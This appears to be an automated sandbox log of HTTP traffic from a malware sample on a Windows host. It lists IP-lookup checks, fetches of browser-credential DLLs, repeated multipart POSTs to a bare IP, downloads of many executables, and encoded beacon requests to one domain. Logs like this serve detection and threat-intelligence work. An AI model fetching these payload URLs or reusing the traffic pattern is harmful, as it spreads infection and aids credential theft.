Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: api.myip.com
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /ffernifre.exes HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: file-link-iota.vercel.appCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAEHDBFIDAFIDHJEBFBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 256Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AECAKECAEGDHIECBGHIIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 332Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHDBAAFIDGDAAAAAAAAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 8697Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqlr.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIIJJECFIDHJJKKFCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 1529Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDBFBKKJDHJKECBGDAKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 437Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHDHIDGHIDGIECBKKJJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBAKJKJJJECFIEBFHIEGUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBFBGCGIJKJJKFIDBFCUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 457Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJJKFCBGIDGHIECGCBKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 131609Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBKFBAKFBFHIECFBFIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KEHCGCGCFHIDBFHIIJKJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: 94.130.188.148Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/crazyfish.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Host: 195.10.205.48
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Content-Length: 133Host: 195.10.205.48
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Content-Length: 133Host: 195.10.205.48
Source: global traffic	HTTP traffic detected: HEAD /prog/66c6def3f0546_sss.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /prog/66d0c13d2f0ed_ImpressedHub.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /dezo/huna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 31.41.244.9Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /Edge/PENDXGKW.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 154.216.17.134Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /ssl/install.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /malesa/66d08591035ef_AttachmentDaughters.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /malesa/66cdfc485c6f9_instruction.exe#upus HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /Edge/PENDXGKW.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 154.216.17.134Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dezo/huna.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 31.41.244.9Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /yuop/66d0879618b6b_File.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ssl/install.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 176.113.115.33Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /revada/66c6fcb30b9dd_123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /malesa/66ce00c2c1a2c_doz.exe#mene HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0c13d2f0ed_ImpressedHub.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66c6def3f0546_sss.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66d08591035ef_AttachmentDaughters.exe#1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66cdfc485c6f9_instruction.exe#upus HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /yuop/66d0879618b6b_File.exe#xin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9755a01_sbwd.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /revada/66c6fcb30b9dd_123p.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /prog/66d0cd9a65b5d_vqwergf.exe#space HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /malesa/66ce00c2c1a2c_doz.exe#mene HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: 147.45.44.104Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/twofish.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0Content-Length: 541Host: 195.10.205.48
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692396387f711c7ee91 HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df14d714bca5817673aa4ce8889b5e4fa9281ae978f271ea771795af8e05c446db22f31df92d8838ed12a666d307eca743ec4c2b07b5296692396387f711c7ee91 HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGDUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36Host: stadiatechnologies.comContent-Length: 6113Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1Host: bftexwm.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
